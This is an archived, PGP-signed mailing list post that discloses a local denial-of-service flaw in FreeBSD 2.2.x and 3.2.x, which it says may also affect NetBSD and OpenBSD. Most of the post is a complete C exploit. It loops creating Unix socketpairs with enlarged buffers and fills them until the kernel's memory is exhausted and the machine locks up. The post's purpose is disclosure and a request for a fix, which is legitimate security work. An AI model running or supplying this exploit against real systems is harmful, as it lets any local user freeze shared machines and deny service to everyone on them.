freebsd_DoS.txt

`Subject: Local DoS in FreeBSD  
To: [email protected]   
  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
  
This was first posted to the FreeBSD security list on the 9th of August,  
subsequently discussed on freebsd-stable and freebsd-hackers... no one  
seems to care, even though it is able to lock up 2.2.6, 2.2.8, and 3.2.x  
machines consistantly. I have also been told that it affects NetBSD and  
OpenBSD, though I haven't confirmed it.  
  
  
Someone with the know-how care to fix?  
  
  
  
  
L. Sassaman  
  
  
System Administrator | "Even the most primitive society has  
Technology Consultant | an innate respect for the insane."  
icq.. 10735603 |  
pgp.. finger://ns.quickie.net/rabbi | --Mickey Rourke  
  
  
  
- ---  
  
  
  
#include <unistd.h>  
#include <sys/socket.h>  
#include <fcntl.h>  
  
  
#define BUFFERSIZE 204800  
  
  
extern int  
main(void)  
{  
int p[2], i;  
char crap[BUFFERSIZE];  
  
  
while (1)  
{  
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)  
break;  
i = BUFFERSIZE;  
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));  
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));  
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));  
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));  
fcntl(p[0], F_SETFL, O_NONBLOCK);  
fcntl(p[1], F_SETFL, O_NONBLOCK);  
write(p[0], crap, BUFFERSIZE);  
write(p[1], crap, BUFFERSIZE);  
}  
  
  
return(0);  
}  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v0.9.10 (GNU/Linux)  
Comment: OpenPGP Encrypted Email Preferred.  
  
  
iD8DBQE3xheKPYrxsgmsCmoRAiG+AJ9SbzLCXaYNkj/X7eg7uvljsSvATwCg+d91  
TkVIqNdQpRi8CK9vySilouE=  
=7ufs  
-----END PGP SIGNATURE-----  
`